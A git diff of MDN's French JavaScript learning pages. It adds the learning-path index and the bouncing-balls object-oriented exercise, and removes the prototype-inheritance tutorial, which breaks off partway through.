Il n'est pas possible d'éluder le fait qu'il est très important de savoir manipuler des mots et des phrases lorsqu'on programme — tout particulièrement en JavaScript, dans la mesure où les sites web servent à la communication entre les personnes. Cet article vous a indiqué, pour l'instant, les bases à connaître pour manipuler les chaînes. Ce sera utile lorsque vous aborderez des sujets plus complexes à l'avenir. Pour suivre, nous allons nous intéresser au dernier grand type de données sur lequel nous devons nous concentrer à court terme — les tableaux.

+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}

diff --git a/files/fr/learn/javascript/index.html b/files/fr/learn/javascript/index.html new file mode 100644 index 0000000000..a10f2deb2d --- /dev/null +++ b/files/fr/learn/javascript/index.html @@ -0,0 +1,61 @@ +--- +title: JavaScript +slug: Apprendre/JavaScript +tags: + - Débutant + - Développement + - JavaScript + - Modules + - scripts +translation_of: Learn/JavaScript +--- +

{{LearnSidebar}}

+ +

{{Glossary('JavaScript')}} est un langage de programmation qui vous permet de mettre en œuvre des éléments complexes sur des pages Web (une page Web contenant plus que de simples informations statiques). Chaque fois qu'une page affiche des mises à jour de contenu en temps réel, des cartes interactives, des animations graphiques 2D / 3D ou un juke-box vidéo défilant, etc. — vous pouvez parier que JavaScript est probablement impliqué.

+ +

Parcours d'apprentissage

+ +

JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que HTML et CSS. Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants :

+ + + +

Avoir une expérience antérieure avec d'autres langages de programmation peut également aider.

+ +

Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple :

+ + + +

Modules

+ +

Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder :

+ +
+
Premiers pas en JavaScript
+
Dans notre premier module JavaScript, nous répondons d'abord à des questions fondamentales telles que «qu'est-ce que le JavaScript ?», «à quoi cela ressemble-t-il ?» et «que peut-il faire ?», avant de passer à votre première expérience pratique d'écriture de JavaScript. Après cela, nous discutons en détail de certaines fonctionnalités clés de JavaScript, telles que les variables, les chaînes, les nombres et les tableaux.
+
JavaScript les blocs
+
Dans ce module, nous continuons de couvrir toutes les fonctions clés fondamentales de JavaScript, en nous concentrant sur les types de blocs de code les plus courants, tels que les instructions conditionnelles, les boucles, les fonctions et les événements. Vous avez déjà vu ce genre de choses dans le cours, mais seulement en passant, nous en discuterons explicitement ici.
+
Introduction aux objets JavaScript
+
En JavaScript, la plupart des éléments sont des objets, depuis les principales fonctionnalités de JavaScript comme les chaînes et les tableaux jusqu'aux API du navigateur construites sur JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions et des variables associées dans des paquets efficaces. La nature orientée objet de JavaScript est importante à comprendre, si vous voulez aller plus loin dans la connaissance du langage et rédiger un code plus efficace. C'est pourquoi nous avons conçu ce module pour vous aider. Ici, nous enseignons la théorie et la syntaxe des objets en détail, regardons comment créer vos propres objets et expliquons quelles sont les données JSON et comment les utiliser.
+
API Web côté client
+
Lors de l'écriture de JavaScript côté client, pour des sites Web ou des applications, vous n'irez pas très loin avant de commencer à utiliser des interfaces API, pour manipuler différents aspects du navigateur et du système d'exploitation sur lequel le site fonctionne, ou même des données d'autres sites Web ou des services. Dans ce module, nous explorerons quelles sont les API et comment utiliser certaines des API les plus courantes que vous rencontrerez souvent dans votre travail de développement.
+
+ +

Résoudre les problèmes JavaScript courants

+ +

Utiliser JavaScript pour résoudre des problèmes courants fournit des liens vers des sections expliquant comment utiliser JavaScript pour résoudre des problèmes très courants lors de la création d'une page Web.

+ +

Voir aussi

+ +
+
JavaScript sur MDN
+
Principal point d'entrée de la documentation JavaScript de base sur MDN, vous y trouverez de nombreux documents de référence sur tous les aspects du langage JavaScript, ainsi que des tutoriels avancés destinés aux programmeurs en JavaScript expérimentés.
+
Codage des mathématiques
+
Une excellente série de tutoriels vidéo (anglophones) sur les mathématiques que vous devez comprendre pour être un programmeur efficace, par Keith Peters.
+
diff --git a/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.html new file mode 100644 index 0000000000..36232925ec --- /dev/null +++ b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -0,0 +1,208 @@ +--- +title: Ajouter des fonctionnalités à notre exercice des balles rebondissantes +slug: >- + Learn/JavaScript/Objects/Ajouter_des_fonctionnalités_à_notre_démo_de_balles_rebondissantes +tags: + - Apprentissage + - CodingScripting + - Débutant + - Evaluation + - JavaScript + - OOJS + - Objet + - Orienté objet +translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}
+ +

Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes.

+ + + + + + + + + + + + +
Prérequis:Avant de vous lancer dans cet exercice, il est fortement conseillé d'avoir vus et compris tous les précédents articles de ce module.
Objectifs:Tester votre connaissance du Javascript orienté objet en conception et en pratique.
+ +

Pour commencer

+ +

Pour commencer, faite une copie locale de index-finished.html, style.css, et main-finished.js de l'article précédent, dans un nouveau dossier.

+ +
+

Note: Vous pouvez utiliser un site comme JSBin ou Thimble. Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises <script>/<style> dans votre code HTML.

+
+ +

Le projet en bref

+ +

Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur controlé par l'utilisateur, qui va détruire une balle si il l'a touche. Nous voulons aussi testé votre capacité en programmation orienté objet en créant un object Shape() dont le viseur et les balles peuvent hériter. Pour terminer nous voulons créer un compteur qui permet d'afficher combien de balle il nous reste encore à détruire.

+ +

Ce screenshot vous donne une idée du résultat final:

+ +

+ +
    +
+ +

Si vous voulez en savoir plus regardez l'exemple finit finished example (N'en profitez pas pour récupérer le code source !)

+ +

Vos objectifs

+ +

Cette section décrit ce que vous aurez à faire.

+ +

Créons nos nouveaux objets

+ +

Pour commencer, modifions le constructeur de l'objet Ball() pour qu'il devienne le constructeur de Shape() puis créons en un nouveau pour Ball() :

+ +
    +
  1. Le constructeur Shape() devra définir les propriétés x, y, velX, et velY de la même manière que le constructeur Ball() auparavent, mais sans les propriétés color et size.
    2. +
  2. Shape() doit aussi définir une nouvelle propriété exists, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'on pas encore été détruites). Elle doit retourner un booléen (true/false).
    3. +
  3. Le constructeur Ball() doit hériter des propriétés x, y, velX, velY, et exists du constructeur Shape().
    4. +
  4. Ball() doit aussi définir les propriétés color et size, comme à l'origine.
    5. +
  5. N'oubliez pas de définir le prototype de Ball() et son constructeur de manière approprié.
    6. +
+ +

Les méthodes draw(), update(), et collisionDetect() doivent fonctionnées comme avant, sans être modifiées.

+ +

Vous devrez ajouter un nouveau paramètre au constructeur new Ball() ( ... ) — le paramètre exists doit être le 5ème et être égal à  true.

+ +

Vous pouvez recharger la page — Tout doit fonctionner comme avant même après les modifications que vous avez effectuées sur les objets.

+ +

Définition du EvilCircle() (viseur)

+ +

Il est temps de vous équipez ! — le EvilCircle()! Dans notre jeu nous allons créer un viseur, mais nous allons nous servir de l'objet Shape() pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment !

+ +

Le constructeur du EvilCircle() doit hériter des propriétés x, y, velX, velY, et exists de Shape(), mais velX et velY doivent toujours être égales à 20.

+ +

Vous devriez utiliser quelque chose comme Shape.call(this, x, y, 20, 20, exists);

+ +

Le constructeur doit aussi définir ses propres propriétés:

+ +
    +
  • color — 'white'
    • +
  • size — 10
    • +
+ +

Une fois de plus, souvenez vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée.

+ +

Définir les méthodes du EvilCircle() (viseur)

+ +

EvilCircle() doit avoir quatre méthodes, comme définie en dessous.

+ +

draw()

+ +

Cette méthode doit avoir la même fonction que celle de Ball(): soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction Ball.prototype.draw. Puis appliquez les modifications suivantes:

+ +
    +
  • On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez fillStyle et fill() pour strokeStyle et stroke().
    • +
  • On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut lineWidth à ctx après l'appel à la fonction beginPath() (avec une valeur de 3).
    • +
+ +

checkBounds()

+ +

Cette méthode à la même fonction que la première partie de Ball() update() — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode Ball.prototype.update, mais en effectuant quelques changements:

+ +
    +
  • Débarrassez-vous des deux dernières lignes — on a pas besoin de connaître la position du viseur à chaque frame, car nous le déplacerons d'une manière différente comme vous pourrez le voir.
    • +
  • Dans les conditions en if() , si la condition retourne true on ne veut pas modifier (update) les propriétés velX/velY; mais plutôt changer les valeurs de x/y de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière appropriée la taille (size) du viseur sera suffisant.
    • +
+ +

setControls()

+ +

Cette méthode ajoute un écouteur d'évènement onkeydown à l'objet window ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode:

+ +
var _this = this;
+window.onkeydown = function(e) {
+    if (e.keyCode === 65) {
+      _this.x -= _this.velX;
+    } else if (e.keyCode === 68) {
+      _this.x += _this.velX;
+    } else if (e.keyCode === 87) {
+      _this.y -= _this.velY;
+    } else if (e.keyCode === 83) {
+      _this.y += _this.velY;
+    }
+  }
+ +

Quand une touche est enfoncée, la propriété keyCode de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas.

+ +
    +
  • Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé.
    • +
  • Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir var _this = this; de cette façon ? Cela à quelque chose à voir avec la portée des fonction.
    • +
+ +

collisionDetect()

+ +

Cette méthode fonctionne d'une manière similaire à Ball() collisionDetect(), copier celle-ci pour vous en servir comme base. Il y a deux différences:

+ +
    +
  • Dans la condition extérieure if, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois.
    • +
  • Dans la condition intérieur if, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?).
    • +
+ +

Insérer le viseur dans notre programme

+ +

Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction loop().

+ +
    +
  • Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode setControls(). On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération.
    • +
  • Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes draw(), update(), et collisionDetect() pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe.
    • +
  • Appellez les méthodes de l'instance du viseur draw(), checkBounds(), et collisionDetect() à chaque itération de la boucle.
    • +
+ +

Implémenter le compteur de score

+ +

Pour implémenter le compteur de score, suivez les étapes suivantes:

+ +
    +
  1. Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} .
    2. +
  2. Dans votre fichier CSS, ajouter les règlesz suivantes: + 
    p {
+  position: absolute;
+  margin: 0;
+  top: 35px;
+  right: 5px;
+  color: #aaa;
+}
    +
    3. +
  3. Dans votre JavaScript, effectuez les modifications suivante: +
      +
    • Créez une variable qui contiendra la référence vers le paragraphe.
      • +
    • Stocker et afficher le nombre de balle présentent à l'écran.
      • +
    • Incrémentez le compteur de balle à chaque fois qu'une balle apparait à l'écran.
      • +
    • Décrementez le compteur à chaque fois qu'une balle est détruite par le viseur.
      • +
    +
    4. +
+ +

Conseils et astuces

+ +
    +
  • Cet exercice est un bon challenge. Prenez le temps de faire et de comprendre chaque étape.
    • +
  • Ce serait une bonne idée de garder une copie de chaque étape lorsque vous arrivez à la faire marcher correctement, pour vous y réferrer si vous n'arrivez plus à progresser ensuite.
    • +
+ +

Evaluation

+ +

Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur discussion thread for this exercise, ou sur #mdn IRC channel sur Mozilla IRC. Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant !

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}

+ +

Dans ce Module

+ + diff --git "a/files/fr/learn/javascript/objects/ajouter_des_fonctionnalit\303\251s_\303\240_notre_d\303\251mo_de_balles_rebondissantes/index.html" "b/files/fr/learn/javascript/objects/ajouter_des_fonctionnalit\303\251s_\303\240_notre_d\303\251mo_de_balles_rebondissantes/index.html" deleted file mode 100644 index 36232925ec..0000000000 --- "a/files/fr/learn/javascript/objects/ajouter_des_fonctionnalit\303\251s_\303\240_notre_d\303\251mo_de_balles_rebondissantes/index.html" +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: Ajouter des fonctionnalités à notre exercice des balles rebondissantes -slug: >- - Learn/JavaScript/Objects/Ajouter_des_fonctionnalités_à_notre_démo_de_balles_rebondissantes -tags: - - Apprentissage - - CodingScripting - - Débutant - - Evaluation - - JavaScript - - OOJS - - Objet - - Orienté objet -translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}
- -

Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes.

- - - - - - - - - - - - -
Prérequis:Avant de vous lancer dans cet exercice, il est fortement conseillé d'avoir vus et compris tous les précédents articles de ce module.
Objectifs:Tester votre connaissance du Javascript orienté objet en conception et en pratique.
- -

Pour commencer

- -

Pour commencer, faite une copie locale de index-finished.html, style.css, et main-finished.js de l'article précédent, dans un nouveau dossier.

- -
-

Note: Vous pouvez utiliser un site comme JSBin ou Thimble. Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises <script>/<style> dans votre code HTML.

-
- -

Le projet en bref

- -

Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur controlé par l'utilisateur, qui va détruire une balle si il l'a touche. Nous voulons aussi testé votre capacité en programmation orienté objet en créant un object Shape() dont le viseur et les balles peuvent hériter. Pour terminer nous voulons créer un compteur qui permet d'afficher combien de balle il nous reste encore à détruire.

- -

Ce screenshot vous donne une idée du résultat final:

- -

- -
    -
- -

Si vous voulez en savoir plus regardez l'exemple finit finished example (N'en profitez pas pour récupérer le code source !)

- -

Vos objectifs

- -

Cette section décrit ce que vous aurez à faire.

- -

Créons nos nouveaux objets

- -

Pour commencer, modifions le constructeur de l'objet Ball() pour qu'il devienne le constructeur de Shape() puis créons en un nouveau pour Ball() :

- -
    -
  1. Le constructeur Shape() devra définir les propriétés x, y, velX, et velY de la même manière que le constructeur Ball() auparavent, mais sans les propriétés color et size.
    2. -
  2. Shape() doit aussi définir une nouvelle propriété exists, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'on pas encore été détruites). Elle doit retourner un booléen (true/false).
    3. -
  3. Le constructeur Ball() doit hériter des propriétés x, y, velX, velY, et exists du constructeur Shape().
    4. -
  4. Ball() doit aussi définir les propriétés color et size, comme à l'origine.
    5. -
  5. N'oubliez pas de définir le prototype de Ball() et son constructeur de manière approprié.
    6. -
- -

Les méthodes draw(), update(), et collisionDetect() doivent fonctionnées comme avant, sans être modifiées.

- -

Vous devrez ajouter un nouveau paramètre au constructeur new Ball() ( ... ) — le paramètre exists doit être le 5ème et être égal à  true.

- -

Vous pouvez recharger la page — Tout doit fonctionner comme avant même après les modifications que vous avez effectuées sur les objets.

- -

Définition du EvilCircle() (viseur)

- -

Il est temps de vous équipez ! — le EvilCircle()! Dans notre jeu nous allons créer un viseur, mais nous allons nous servir de l'objet Shape() pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment !

- -

Le constructeur du EvilCircle() doit hériter des propriétés x, y, velX, velY, et exists de Shape(), mais velX et velY doivent toujours être égales à 20.

- -

Vous devriez utiliser quelque chose comme Shape.call(this, x, y, 20, 20, exists);

- -

Le constructeur doit aussi définir ses propres propriétés:

- -
    -
  • color — 'white'
    • -
  • size — 10
    • -
- -

Une fois de plus, souvenez vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée.

- -

Définir les méthodes du EvilCircle() (viseur)

- -

EvilCircle() doit avoir quatre méthodes, comme définie en dessous.

- -

draw()

- -

Cette méthode doit avoir la même fonction que celle de Ball(): soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction Ball.prototype.draw. Puis appliquez les modifications suivantes:

- -
    -
  • On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez fillStyle et fill() pour strokeStyle et stroke().
    • -
  • On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut lineWidth à ctx après l'appel à la fonction beginPath() (avec une valeur de 3).
    • -
- -

checkBounds()

- -

Cette méthode à la même fonction que la première partie de Ball() update() — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode Ball.prototype.update, mais en effectuant quelques changements:

- -
    -
  • Débarrassez-vous des deux dernières lignes — on a pas besoin de connaître la position du viseur à chaque frame, car nous le déplacerons d'une manière différente comme vous pourrez le voir.
    • -
  • Dans les conditions en if() , si la condition retourne true on ne veut pas modifier (update) les propriétés velX/velY; mais plutôt changer les valeurs de x/y de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière appropriée la taille (size) du viseur sera suffisant.
    • -
- -

setControls()

- -

Cette méthode ajoute un écouteur d'évènement onkeydown à l'objet window ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode:

- -
var _this = this;
-window.onkeydown = function(e) {
-    if (e.keyCode === 65) {
-      _this.x -= _this.velX;
-    } else if (e.keyCode === 68) {
-      _this.x += _this.velX;
-    } else if (e.keyCode === 87) {
-      _this.y -= _this.velY;
-    } else if (e.keyCode === 83) {
-      _this.y += _this.velY;
-    }
-  }
- -

Quand une touche est enfoncée, la propriété keyCode de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas.

- -
    -
  • Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé.
    • -
  • Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir var _this = this; de cette façon ? Cela à quelque chose à voir avec la portée des fonction.
    • -
- -

collisionDetect()

- -

Cette méthode fonctionne d'une manière similaire à Ball() collisionDetect(), copier celle-ci pour vous en servir comme base. Il y a deux différences:

- -
    -
  • Dans la condition extérieure if, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois.
    • -
  • Dans la condition intérieur if, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?).
    • -
- -

Insérer le viseur dans notre programme

- -

Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction loop().

- -
    -
  • Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode setControls(). On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération.
    • -
  • Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes draw(), update(), et collisionDetect() pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe.
    • -
  • Appellez les méthodes de l'instance du viseur draw(), checkBounds(), et collisionDetect() à chaque itération de la boucle.
    • -
- -

Implémenter le compteur de score

- -

Pour implémenter le compteur de score, suivez les étapes suivantes:

- -
    -
  1. Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} .
    2. -
  2. Dans votre fichier CSS, ajouter les règlesz suivantes: - 
    p {
-  position: absolute;
-  margin: 0;
-  top: 35px;
-  right: 5px;
-  color: #aaa;
-}
    -
    3. -
  3. Dans votre JavaScript, effectuez les modifications suivante: -
      -
    • Créez une variable qui contiendra la référence vers le paragraphe.
      • -
    • Stocker et afficher le nombre de balle présentent à l'écran.
      • -
    • Incrémentez le compteur de balle à chaque fois qu'une balle apparait à l'écran.
      • -
    • Décrementez le compteur à chaque fois qu'une balle est détruite par le viseur.
      • -
    -
    4. -
- -

Conseils et astuces

- -
    -
  • Cet exercice est un bon challenge. Prenez le temps de faire et de comprendre chaque étape.
    • -
  • Ce serait une bonne idée de garder une copie de chaque étape lorsque vous arrivez à la faire marcher correctement, pour vous y réferrer si vous n'arrivez plus à progresser ensuite.
    • -
- -

Evaluation

- -

Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur discussion thread for this exercise, ou sur #mdn IRC channel sur Mozilla IRC. Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant !

- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}

- -

Dans ce Module

- - diff --git a/files/fr/learn/javascript/objects/heritage/index.html b/files/fr/learn/javascript/objects/heritage/index.html deleted file mode 100644 index 9359b6f4ee..0000000000 --- a/files/fr/learn/javascript/objects/heritage/index.html +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: L'héritage au sein de JavaScript -slug: Learn/JavaScript/Objects/Heritage -tags: - - Apprendre - - Article - - Débutant - - Héritage - - JS Orienté Objet - - JavaScript - - Objet - - Programmation orientée objet - - Prototype -translation_of: Learn/JavaScript/Objects/Inheritance ---- -
-

{{LearnSidebar}}

- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}

- -

Les présentations ayant été faites pour les concepts du JavaScript orienté objet, cet article détaille comment il est possible de créer une classe fille qui hérite des propriétés de sa classe mère. Nous verrons ensuite quelques conseils quant à l'utilisation du JavaScript orienté objet.

- - - - - - - - - - - - -
Pré-requis :Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir Premiers pas et Blocs de construction) ainsi que des notions de JavaScript orienté objet (JSOO) (voir Introduction aux objets).
Objectif :Comprendre comment implémenter l'héritage en JavaScript.
- -

Héritage prototypique

- -

Nous avons déjà vu le concept d'héritage en action, nous avons vu comment la chaîne de prototypage fonctionnait, et comment les propriétés de cette chaîne sont lues de manière ascendante. En revanche,nous n'avons utilisé pratiquement que quelques fonctionnalités déjà intégrées dans le navigateur pour le faire. Comment créer un objet JavaScript qui hérite d'un autre objet ?

- -

Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir C++ inheritance en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un héritage prototypique).

- -

Voyons comment cela se passe avec un exemple concret.

- -

Pour commencer

- -

Tout d'abord, faites une copie du fichier oojs-class-inheritance-start.html (voir la démo). Vous y trouverez le constructeur Personne() que nous avons utilisé jusque là dans l'ensemble des modules, néanmoins il y a un léger changement : nous n'avons défini que les attributs au sein du constructeur.

- -
function Personne(prenom, nom, age, genre, interets) {
-  this.nom = {
-    prenom,
-    nom
-  };
-  this.age = age;
-  this.genre = genre;
-  this.interets = interets;
-};
- -

L'ensemble des méthodes est défini dans le prototype :

- -
Personne.prototype.saluer = function() {
-  alert('Salut! Je suis ' + this.nom.prenom + '.');
-};
- -

Essayons de créer une classe Professeur similaire à celle que nous avons utilisée jusqu'ici dans les autres modules d'initiations à l'approche objet. Ainsi, cette classe hérite de Personne mais possède aussi :

- -
    -
  1. Un nouvel attribut matière — qui contiendra la matière que le professeur enseigne.
    2. -
  2. Une méthode saluer un peu plus élaborée, qui sera un peu plus formelle que la méthode de base, cela sera plus approprié, lorsque le professeur s'adrressera à des étudiants, par exemple.
    3. -
- -

Définissons le constructeur Professeur()

- -

La première chose à faire est de créer le constructeur Professeur() via l'ajout du code suivant :

- -
function Professeur(prenom, nom, age, genre, interets, matiere) {
-  Personne.call(this, prenom, nom, age, genre, interets);
-
-  this.matiere = matiere;
-}
- -

Cela ressemble beaucoup au constructeur Personne mais il y a quelque chose que nous n'avons pas encore vu : la fonction call(). Cette fonction permet d'appeler une fonction définie ailleurs dans le contexte actuel. Le premier paramètre spécifie la valeur de this que l'on souhaite utiliser lors que l'on utilisera la fonction, les paramètres suivants seront les paramètres qui pourront être passés en arguments lorsqu'elle sera appelée.

- -

Nous voulons que le constructeur Professeur() aie les mêmes attributs que Personne(), nous les spécifions donc dans l'appel fait via la fonction call().

- -

La dernière ligne au sein du constructeur sert simplement à définir l'attribut matière que les professeurs enseignent, ce qui n'est pas valable pour les personnes génériques.

- -

Notez que nous aurions très bien pu écrire tout simplement ceci :

- -
function Professeur(prenom, nom, age, genre, interets, matiere) {
-  this.nom_complet = {
-    prenom,
-    nom
-  };
-  this.age = age;
-  this.genre = genre;
-  this.interets = interets;
-  this.matiere = matiere;
-}
- -

Cependant cela aurait eu pour effet de redéfinir les attributs à nouveau, sans les hériter de Personne(), ce qui n'est pas vraiment le but que nous voulons atteindre lorsque l'on parle de l'héritage, cela rajoute aussi des lignes de code inutiles.

- -

 

- -

Hériter d'un constructeur sans paramètres

- -

Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction call(). Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci :

- -
function Brick() {
-  this.width = 10;
-  this.height = 20;
-}
- -

Vous pouvez hériter des propriétés width et height en procédant comme ceci (Mais  également en suivant bien sûr les différentes étapes décrites ci dessous) :

- -
function BlueGlassBrick() {
-  Brick.call(this);
-
-  this.opacity = 0.5;
-  this.color = 'blue';
-}
- -

Notez que nous n'avons spécifié que this au sein de call() — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres.  

- -

Définir le prototype de Professeur() et son constructeur référent.

- -

Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un  nouveau constructeur et ce dernier possède une propriété prototype, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété prototype du constructeur Personne(). Pour le constater, vous pouvez par exemple entrer Professeur.prototype.constructor dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de Personne.prototype.saluer et de Professeur.prototype.saluer

- -

Notre classe Professeur() doit hériter des méthodes définies dans le prototype de Personne(). Aussi comment procéder pour obtenir ce résultat ?

- -

Ajoutez la ligne suivante à la suite du bloc de code que nous venons d'ajouter :

- -
Professeur.prototype = Object.create(Personne.prototype);
- -
    -
  1. Ici, notre ami create() vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à Professeur.prototype. Le nouvel objet possède Personne.prototype désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur Personne.prototype. 
    2. -
  2. Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de Professeur() est désormais équivalent à celui de Personne(), parce que nous avons défini Professeur.prototype pour référencer un objet qui hérite ses propriétés de  Personne.prototype ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer Professeur.prototype.constructor dans la console pour vérifier.
    3. -
  3. Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : - 
    Professeur.prototype.constructor = Professeur;
    -
    4. -
  4. -

